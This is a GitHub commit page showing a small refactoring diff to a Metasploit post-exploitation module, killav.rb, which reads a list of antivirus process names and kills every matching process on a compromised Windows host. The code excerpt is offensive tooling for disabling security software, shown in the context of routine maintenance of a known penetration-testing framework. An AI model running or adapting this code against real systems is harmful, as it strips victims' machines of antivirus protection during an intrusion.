We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 8bead8f commit 2735c03Copy full SHA for 2735c03
modules/post/windows/manage/killav.rb
@@ -23,10 +23,10 @@ def initialize(info={})
23
24
def run
25
26
-avs = ::File.read(::File.join(Msf::Config.data_directory, "/wordlists/av_list.txt"))
+ avs = ::File.read(::File.join(Msf::Config.data_directory, 'wordlists', 'av_list.txt'))
27
28
client.sys.process.get_processes().each do |x|
29
- if (avs.index(x['name'].downcase))
+ if avs.include?(x['name'].downcase)
30
print_status("Killing off #{x['name']}...")
31
client.sys.process.kill(x['pid'])
32
end
0 commit comments